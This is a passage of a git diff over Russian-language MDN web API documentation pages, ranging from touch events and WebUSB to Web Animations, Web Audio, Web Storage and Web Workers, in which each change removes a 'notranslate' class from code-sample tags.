элемента события @@ -89,7 +89,7 @@ someElement.addEventListener('touchstart', function(ev) { <p>Предотвращение эмуляции событий мыши</p> -<pre class="brush: js notranslate">// Обработчик события "touchmove" +<pre class="brush: js">// Обработчик события "touchmove" function process_touchmove(ev) { // Вызов "preventDefault()" ev.preventDefault(); diff --git a/files/ru/web/api/touchevent/touches/index.html b/files/ru/web/api/touchevent/touches/index.html index e377e1b8a3..8d76645501 100644 --- a/files/ru/web/api/touchevent/touches/index.html +++ b/files/ru/web/api/touchevent/touches/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/TouchEvent/touches <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>touches</em> = <em>touchEvent</em>.touches; +<pre class="syntaxbox">var <em>touches</em> = <em>touchEvent</em>.touches; </pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -27,7 +27,7 @@ translation_of: Web/API/TouchEvent/touches <p>В следующем фрагменте кода обработчик события {{event("touchstart")}} проверяет длину списка {{domxref("TouchEvent.touches")}} для определения количества точек касаний, которые были активированы, а затем вызывает разные обработчики в зависимости от количества таких точек.</p> -<pre class="brush: js notranslate">someElement.addEventListener('touchstart', function(e) { +<pre class="brush: js">someElement.addEventListener('touchstart', function(e) { // Вызов определённого обработчика, в зависимости от // количества точек касания switch (e.touches.length) { diff --git a/files/ru/web/api/usb/getdevices/index.html b/files/ru/web/api/usb/getdevices/index.html index 8b69fce817..a0a61f2a3a 100644 --- a/files/ru/web/api/usb/getdevices/index.html +++ b/files/ru/web/api/usb/getdevices/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/getDevices <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>USB</em>.getDevices()</pre> +<pre class="syntaxbox"><em>USB</em>.getDevices()</pre> <h3 id="Параметры">Параметры</h3> @@ -31,7 +31,7 @@ translation_of: Web/API/USB/getDevices <p>В следующем примере имена продуктов и серийные номера сопряжённых устройств выводятся в консоль. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice","USB.requestDevice()")}}.</p> -<pre class="brush: js notranslate">navigator.usb.getDevices() +<pre class="brush: js">navigator.usb.getDevices() .then(devices => { console.log("Total devices: " + devices.length); devices.forEach(device => { diff --git a/files/ru/web/api/usb/onconnect/index.html b/files/ru/web/api/usb/onconnect/index.html index e0a26c8bac..abe16f16c4 100644 --- a/files/ru/web/api/usb/onconnect/index.html +++ b/files/ru/web/api/usb/onconnect/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/onconnect <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>USB</em>.onconnect = <em>connectFunction</em></pre> +<pre class="syntaxbox"><em>USB</em>.onconnect = <em>connectFunction</em></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/usb/ondisconnect/index.html b/files/ru/web/api/usb/ondisconnect/index.html index 742d276e88..ce89669aba 100644 --- a/files/ru/web/api/usb/ondisconnect/index.html +++ b/files/ru/web/api/usb/ondisconnect/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/ondisconnect <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">USB.ondisconnect = <em>disconnectFunction</em></pre> +<pre class="syntaxbox">USB.ondisconnect = <em>disconnectFunction</em></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html index 0d3a34f697..fc8257f9f8 100644 --- a/files/ru/web/api/usb/requestdevice/index.html +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/requestDevice <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>USB</em>.requestDevice([<em>filters</em>])</pre> +<pre class="syntaxbox"><em>USB</em>.requestDevice([<em>filters</em>])</pre> <h3 id="Параметры">Параметры</h3> @@ -45,7 +45,7 @@ translation_of: Web/API/USB/requestDevice <p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и ещё одно, совпадающее со вторым, будут показаны все три устройства.</p> -<pre class="brush: js notranslate">const filters = [ +<pre class="brush: js">const filters = [ {vendorId: 0x1209, productId: 0xa800}, {vendorId: 0x1209, productId: 0xa850} ]; diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html index 9e3a8044d1..b62150df16 100644 --- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Заметьте, что фон двигается, Алиса крутится и её цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощённый код CSS, который управляет движением Алисы.</p> -<pre class="brush: css notranslate">#alice { +<pre class="brush: css">#alice { animation: aliceTumbling infinite 3s linear; } @@ -60,7 +60,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>В первую очередь мы должны создать <a href="/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Keyframe Object</a> соответствующего нашему CSS <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоку:</p> -<pre class="brush: js notranslate">var aliceTumbling = [ +<pre class="brush: js">var aliceTumbling = [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.333}, { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' } @@ -78,7 +78,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Мы также должны создать объекту временные свойства (an {{domxref("AnimationEffectTimingProperties")}} object) соответствующие значению анимации Алисы:</p> -<pre class="brush: js notranslate">var aliceTiming = { +<pre class="brush: js">var aliceTiming = { duration: 3000, iterations: Infinity }</pre> @@ -98,7 +98,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Сейчас соберём все части вместе используя {{domxref("Element.animate()")}} метод:</p> -<pre class="brush: js notranslate">document.getElementById("alice").animate( +<pre class="brush: js">document.getElementById("alice").animate( aliceTumbling, aliceTiming )</pre> @@ -107,7 +107,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>The <code>animate()</code> метод может быть применён на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p> -<pre class="brush: js notranslate">document.getElementById("alice").animate( +<pre class="brush: js">document.getElementById("alice").animate( [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.333}, @@ -120,7 +120,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Более того, если мы хотели указать только длительность анимации, а не её повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p> -<pre class="brush: js notranslate">document.getElementById("alice").animate( +<pre class="brush: js">document.getElementById("alice").animate( [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.333}, @@ -139,7 +139,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Мы поговорим об анимации Алисы позже, а сейчас посмотрим поближе на анимации кекса:</p> -<pre class="brush: js notranslate">var nommingCake = document.getElementById('eat-me_sprite').animate( +<pre class="brush: js">var nommingCake = document.getElementById('eat-me_sprite').animate( [ { transform: 'translateY(0)' }, { transform: 'translateY(-80%)' } @@ -151,15 +151,15 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнётся игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмёт, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p> -<pre class="brush: js notranslate">nommingCake.pause();</pre> +<pre class="brush: js">nommingCake.pause();</pre> <p>Теперь мы можем запустить метод {{domxref("Animation.play()")}} когда будем готовы:</p> -<pre class="brush: js notranslate">nommingCake.play();</pre> +<pre class="brush: js">nommingCake.play();</pre> <p>Нам необходимо связать его с анимацией Алисы, чтобы она росла всякий раз, когда съедала кекс. Мы можем сделать это с помощью функции:</p> -<pre class="brush: js notranslate">var growAlice = function() { +<pre class="brush: js">var growAlice = function() { // Play Alice's animation. aliceChange.play(); @@ -171,7 +171,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Когда пользователь поместит указатель мыши вниз или нажимает пальцем на торт на сенсорном экране, мы можем вызвать growAlice, чтобы выполнить все анимации:</p> -<pre class="brush: js notranslate">cake.addEventListener("mousedown", growAlice, false); +<pre class="brush: js">cake.addEventListener("mousedown", growAlice, false); cake.addEventListener("touchstart", growAlice, false);</pre> <h3 id="Другие_полезные_методы.">Другие полезные методы.</h3> @@ -186,7 +186,7 @@ cake.addEventListener("touchstart", growAlice, false);</pre> <p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьёт из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет её анимацию playbackRate от 1 до -1:</p> -<pre class="brush: js notranslate">var shrinkAlice = function() { +<pre class="brush: js">var shrinkAlice = function() { aliceChange.playbackRate = -1; aliceChange.play(); } @@ -200,7 +200,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre> <p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путём ослабления (уменьшения скорости) playbackRate анимации.</p> -<pre class="brush: js notranslate">setInterval( function() { +<pre class="brush: js">setInterval( function() { // Make sure the playback rate never falls below .4 if (redQueen_alice.playbackRate > .4) { @@ -211,7 +211,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre> <p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путём умножения playbackRate (скорости анимации)</p> -<pre class="brush: js notranslate">var goFaster = function() { +<pre class="brush: js">var goFaster = function() { redQueen_alice.playbackRate *= 1.1; @@ -226,7 +226,7 @@ document.addEventListener("touchstart", goFaster);</pre> <p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчёта длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p> -<pre class="brush: js notranslate">document.getAnimations().forEach( +<pre class="brush: js">document.getAnimations().forEach( function (animation) { animation.playbackRate *= .5; } @@ -236,11 +236,11 @@ document.addEventListener("touchstart", goFaster);</pre> <p>Другое дело, что это трудно делать только с CSS Animations, создавать зависимости от значения предусмотренные для других анимации. В примере игры про рост и уменьшение Алисы, вы можете заметить некоторые странности у кекса:</p> -<pre class="brush: js notranslate">duration: aliceChange.effect.timing.duration / 2</pre> +<pre class="brush: js">duration: aliceChange.effect.timing.duration / 2</pre> <p>Чтобы понять, что здесь происходит, давайте посмотрим на анимацию Алисы:</p> -<pre class="brush: js notranslate">var aliceChange = document.getElementById('alice').animate( +<pre class="brush: js">var aliceChange = document.getElementById('alice').animate( [ { transform: 'translate(-50%, -50%) scale(.5)' }, { transform: 'translate(-50%, -50%) scale(2)' } @@ -252,21 +252,21 @@ document.addEventListener("touchstart", goFaster);</pre> <p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем её:</p> -<pre class="brush: js notranslate">aliceChange.pause();</pre> +<pre class="brush: js">aliceChange.pause();</pre> <p>Если бы оставили её на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить её анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p> -<pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre> +<pre class="brush: js">aliceChange.currentTime = 4000;</pre> <p>Но во время работы над этой анимацией мы можем сильно увеличить её продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придётся делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p> -<pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre> +<pre class="brush: js">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre> <p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится её {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить её длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p> <p>Теперь мы можем запустить её в обратном порядке и играться анимацией в любом направлении, чтобы заставить её расти или уменьшаться</p> -<pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate( +<pre class="brush: js">var drinking = document.getElementById('liquid').animate( [ { height: '100%' }, { height: '0' } @@ -282,7 +282,7 @@ drinking.pause();</pre> <p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в неё пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце её анимация, получая текущее время её анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив её на activeDuration:</p> -<pre class="brush: js notranslate">var endGame = function() { +<pre class="brush: js">var endGame = function() { // get Alice's timeline's playhead location var alicePlayhead = aliceChange.currentTime; @@ -325,7 +325,7 @@ drinking.pause();</pre> <p>Здесь мы устанавливаем колбэк для бутылки, кекса и Алисы, чтобы запустить функцию endGame.</p> -<pre class="brush: js notranslate">// When the cake or runs out... +<pre class="brush: js">// When the cake or runs out... nommingCake.onfinish = endGame; drinking.onfinish = endGame; diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html index c79d753428..39b8c5436e 100644 --- a/files/ru/web/api/web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/index.html @@ -204,7 +204,7 @@ translation_of: Web/API/Web_Audio_API <p>The Web Audio API lines are highlighted; if you want to find more out about what the different methods, etc. do, have a search around the reference pages.</p> -<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151] notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context +<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context // Webkit/blink browsers need prefix, Safari won't work without window. var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html index 5e035e4eb5..bc81da1a4b 100644 --- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -15,13 +15,13 @@ translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API <p>Чтобы извлечь данные из вашего источника звука, вам понадобится {{ domxref("AnalyserNode") }}, созданный при помощи метода {{ domxref("AudioContext.createAnalyser()") }}, например:</p> -<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); </pre> <p>Затем этот узел подключается к вашему источнику звука где-то между получением звука и его обработкой, например:</p> -<pre class="brush: js notranslate">source = audioCtx.createMediaStreamSource(stream); +<pre class="brush: js">source = audioCtx.createMediaStreamSource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioCtx.destination);</pre> @@ -42,13 +42,13 @@ distortion.connect(audioCtx.destination);</pre> <p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведём для данного размера fft.</p> -<pre class="brush: js notranslate">analyser.fftSize = 2048; +<pre class="brush: js">analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; var dataArray = new Uint8Array(bufferLength);</pre> <p>Чтобы собрать данные и копировать их в массив, мы вызываем подходящий метод сбора данных, с массивом в качестве аргумента. Например:</p> -<pre class="brush: js notranslate">analyser.getByteTimeDomainData(dataArray);</pre> +<pre class="brush: js">analyser.getByteTimeDomainData(dataArray);</pre> <p>Теперь в массиве хранятся данные, описывающие звук в данный момент времени, и мы можем визуализировать их любым удобным образом, например с помощью холста HTML5: {{ htmlelement("canvas") }}.</p> @@ -58,46 +58,46 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Чтобы визуализировать осциллограф (спасибо <a href="http://soledadpenades.com/">Soledad Penadés</a> за код в <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L123-L167">Voice-change-O-matic</a>), мы сначала следуем шаблону, описанному в предыдущей секции, для создания буфера:</p> -<pre class="brush: js notranslate">analyser.fftSize = 2048; +<pre class="brush: js">analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; var dataArray = new Uint8Array(bufferLength);</pre> <p>Затем, мы очищаем холст:</p> -<pre class="brush: js notranslate">canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre> +<pre class="brush: js">canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre> <p>И определяем функцию <code>draw()</code>:</p> -<pre class="brush: js notranslate">function draw() {</pre> +<pre class="brush: js">function draw() {</pre> <p>Здесь мы используем <code>requestAnimationFrame()</code> чтобы многократно вызывать эту функцию:</p> -<pre class="brush: js notranslate"> drawVisual = requestAnimationFrame(draw);</pre> +<pre class="brush: js"> drawVisual = requestAnimationFrame(draw);</pre> <p>Затем мы копируем данные в наш массив:</p> -<pre class="brush: js notranslate"> analyser.getByteTimeDomainData(dataArray);</pre> +<pre class="brush: js"> analyser.getByteTimeDomainData(dataArray);</pre> <p>Устанавливаем заливку холста</p> -<pre class="brush: js notranslate"> canvasCtx.fillStyle = 'rgb(200, 200, 200)'; +<pre class="brush: js"> canvasCtx.fillStyle = 'rgb(200, 200, 200)'; canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre> <p>Затем устанавливаем ширину линий и цвет волны, которую мы хотим нарисовать, и начинаем рисовать путь</p> -<pre class="brush: js notranslate"> canvasCtx.lineWidth = 2; +<pre class="brush: js"> canvasCtx.lineWidth = 2; canvasCtx.strokeStyle = 'rgb(0, 0, 0)'; canvasCtx.beginPath();</pre> <p>Мы определяем ширину каждого отрезка в линии, деля длину холста на длину массива (равную FrequencyBinCount), затем определяем переменную x, задающую позицию, в которую необходимо перенести каждый отрезок.</p> -<pre class="brush: js notranslate"> var sliceWidth = WIDTH * 1.0 / bufferLength; +<pre class="brush: js"> var sliceWidth = WIDTH * 1.0 / bufferLength; var x = 0;</pre> <p>В цикле, мы задаём позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p> -<pre class="brush: js notranslate"> for(var i = 0; i < bufferLength; i++) { +<pre class="brush: js"> for(var i = 0; i < bufferLength; i++) { var v = dataArray[i] / 128.0; var y = v * HEIGHT/2; @@ -113,13 +113,13 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Наконец, мы заканчиваем линию в середине правой стороны холста и рисуем, используя установленные цвет и ширину линий:</p> -<pre class="brush: js notranslate"> canvasCtx.lineTo(canvas.width, canvas.height/2); +<pre class="brush: js"> canvasCtx.lineTo(canvas.width, canvas.height/2); canvasCtx.stroke(); };</pre> <p>В конце концов, мы вызываем функцию <code>draw()</code> , запускающую весь процесс:</p> -<pre class="brush: js notranslate"> draw();</pre> +<pre class="brush: js"> draw();</pre> <p>Мы получаем изображение волны, обновляющееся несколько раз в секунду:</p> @@ -131,7 +131,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Сначала мы снова создаём анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.</p> -<pre class="brush: js notranslate"> analyser.fftSize = 256; +<pre class="brush: js"> analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); @@ -140,7 +140,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Затем мы запускаем функцию <code>draw()</code> и задаём цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p> -<pre class="brush: js notranslate"> function draw() { +<pre class="brush: js"> function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteFrequencyData(dataArray); @@ -152,7 +152,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещён каждый столбец.</p> -<pre class="brush: js notranslate"> var barWidth = (WIDTH / bufferLength) * 2.5; +<pre class="brush: js"> var barWidth = (WIDTH / bufferLength) * 2.5; var barHeight; var x = 0;</pre> @@ -160,7 +160,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Одна переменная, требующая объяснения, - это вертикальный сдвиг, с которым мы рисуем каждый столбец: <code>HEIGHT-barHeight/2</code>. Это делается для того, чтобы столбцы начинались в нижней части холста, а не в верхней, как было бы, если бы вертикальное положение было установлена в 0 0. Поэтому мы каждый раз устанавливаем вертикальное положение в разность высоты холста и <code>barHeight/2</code>, чтобы столбцы начинались где-то между верхом и низом холста и заканчивались снизу.</p> -<pre class="brush: js notranslate"> for(var i = 0; i < bufferLength; i++) { +<pre class="brush: js"> for(var i = 0; i < bufferLength; i++) { barHeight = dataArray[i]/2; canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)'; @@ -172,7 +172,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Снова, мы вызываем функцию draw() в конце кода, чтобы запустить процесс.</p> -<pre class="brush: js notranslate"> draw();</pre> +<pre class="brush: js"> draw();</pre> <p>Этот код даёт нам следующий результат:</p> diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html index 6586d1b01c..026692ad6f 100644 --- a/files/ru/web/api/web_authentication_api/index.html +++ b/files/ru/web/api/web_authentication_api/index.html @@ -111,7 +111,7 @@ translation_of: Web/API/Web_Authentication_API <p> В целях безопасности вызовы Web Authentication API ({{domxref('CredentialsContainer.create','create()')}} и {{domxref('CredentialsContainer.get','get()')}}) отменяются, если браузер теряет фокус до завершения вызова.</p> </div> -<pre class="brush: js notranslate">// sample arguments for registration +<pre class="brush: js">// sample arguments for registration var createCredentialDefaultArgs = { publicKey: { // Relying Party (a.k.a. - Service): diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html index 97a8fc847a..dd8a96da5a 100644 --- a/files/ru/web/api/web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/index.html @@ -85,7 +85,7 @@ translation_of: Web/API/Web_Speech_API <p>To use speech recognition in an app, you need to specify the following permissions in your <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p> -<pre class="brush: json notranslate">"permissions": { +<pre class="brush: json">"permissions": { "audio-capture" : { "description" : "Audio capture" }, @@ -96,7 +96,7 @@ translation_of: Web/API/Web_Speech_API <p>You also need a privileged app, so you need to include this as well:</p> -<pre class="brush: json notranslate"> "type": "privileged"</pre> +<pre class="brush: json"> "type": "privileged"</pre> <p>Speech synthesis needs no permissions to be set.</p> diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html index c7f7606ae6..c200447752 100644 --- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -37,7 +37,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <p>Функция, которая проверяет браузеры на поддержку и доступность localStorage:</p> -<pre class="brush: js notranslate">function storageAvailable(type) { +<pre class="brush: js">function storageAvailable(type) { try { var storage = window[type], x = '__storage_test__'; @@ -52,7 +52,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <p>Вот как вы бы могли использовать это:</p> -<pre class="brush: js notranslate">if (storageAvailable('localStorage')) { +<pre class="brush: js">if (storageAvailable('localStorage')) { // Yippee! We can use localStorage awesomeness } else { @@ -79,7 +79,7 @@ else { <p>Начнём с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p> -<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) { +<pre class="brush: js">if(!localStorage.getItem('bgcolor')) { populateStorage(); } else { setStyles(); @@ -93,7 +93,7 @@ else { <p>Как было отмечено выше, значения хранилища могут быть извлечены используя {{domxref("Storage.getItem()")}}. В качестве аргумента функция принимает значение ключа элемента хранилища, а возвращает значение этого элемента. Например:</p> -<pre class="brush: js notranslate">function setStyles() { +<pre class="brush: js">function setStyles() { var currentColor = localStorage.getItem('bgcolor'); var currentFont = localStorage.getItem('font'); var currentImage = localStorage.getItem('image'); @@ -113,7 +113,7 @@ else { <p>{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.</p> -<pre class="brush: js notranslate">function populateStorage() { +<pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', document.getElementById('bgcolor').value); localStorage.setItem('font', document.getElementById('font').value); localStorage.setItem('image', document.getElementById('image').value); @@ -125,7 +125,7 @@ else { <p>We've also included an <code>onchange</code> handler on each form element, so that the data and styling is updated whenever a form value is changed:</p> -<pre class="brush: js notranslate">bgcolorForm.onchange = populateStorage; +<pre class="brush: js">bgcolorForm.onchange = populateStorage; fontForm.onchange = populateStorage; imageForm.onchange = populateStorage;</pre> @@ -135,7 +135,7 @@ imageForm.onchange = populateStorage;</pre> <p>On the events page (see <a href="https://github.com/mdn/web-storage-demo/blob/gh-pages/event.js">events.js</a>) the only JavaScript is as follows:</p> -<pre class="brush: js notranslate">window.addEventListener('storage', function(e) { +<pre class="brush: js">window.addEventListener('storage', function(e) { document.querySelector('.my-key').textContent = e.key; document.querySelector('.my-old').textContent = e.oldValue; document.querySelector('.my-new').textContent = e.newValue; diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html index c0eae11fe9..e0af292e16 100644 --- a/files/ru/web/api/web_workers_api/using_web_workers/index.html +++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html @@ -37,7 +37,7 @@ original_slug: DOM/Using_web_workers <p>Для большего контроля над ошибками и обратной совместимости, рекомендуется обернуть ваш код доступа к worker-у в следующий (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p> -<pre class="brush: js notranslate">if (window.Worker) { +<pre class="brush: js">if (window.Worker) { ... @@ -48,7 +48,7 @@ original_slug: DOM/Using_web_workers <p>Создание нового worker-а — это легко. Всё что вам нужно это вызвать конструктор {{domxref("Worker.Worker", "Worker()")}}, указав URI скрипта для выполнения в потоке worker-а (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p> <div style="overflow: hidden;"> -<pre class="brush: js notranslate">var myWorker = new Worker("worker.js"); +<pre class="brush: js">var myWorker = new Worker("worker.js"); </pre> </div> @@ -56,7 +56,7 @@ original_slug: DOM/Using_web_workers <p>Магия worker-ов происходит через {{domxref("Worker.postMessage", "postMessage()")}} метод и обработчик событий {{domxref("Worker.onmessage", "onmessage")}}. Когда вы хотите отправить сообщение в worker, вы доставляете сообщение к нему вот так (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p> -<pre class="brush: js notranslate">first.onchange = function() { +<pre class="brush: js">first.onchange = function() { myWorker.postMessage([first.value,second.value]); console.log('Message posted to worker'); } @@ -70,7 +70,7 @@ second.onchange = function() { <p>Внутри worker-a мы можем обрабатывать сообщения и отвечать на них при помощи добавления обработчика события <code>onmessage</code> подобным образом (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p> -<pre class="brush: js notranslate">onmessage = function(e) { +<pre class="brush: js">onmessage = function(e) { console.log('Message received from main script'); var workerResult = 'Result: ' + (e.data[0] * e.data[1]); console.log('Posting message back to main script'); @@ -81,7 +81,7 @@ second.onchange = function() { <p>Возвращаясь в основной поток, мы используем <code>onmessage</code> снова, чтобы отреагировать на сообщение, отправленное нам назад из worker-а:</p> -<pre class="brush: js notranslate">myWorker.onmessage = function(e) { +<pre class="brush: js">myWorker.onmessage = function(e) { result.textContent = e.data; console.log('Message received from worker'); }</pre> @@ -96,7 +96,7 @@ second.onchange = function() { <p>Прекращение работы worker-а главного потока достигается методом {{domxref("Worker", "terminate")}}:</p> 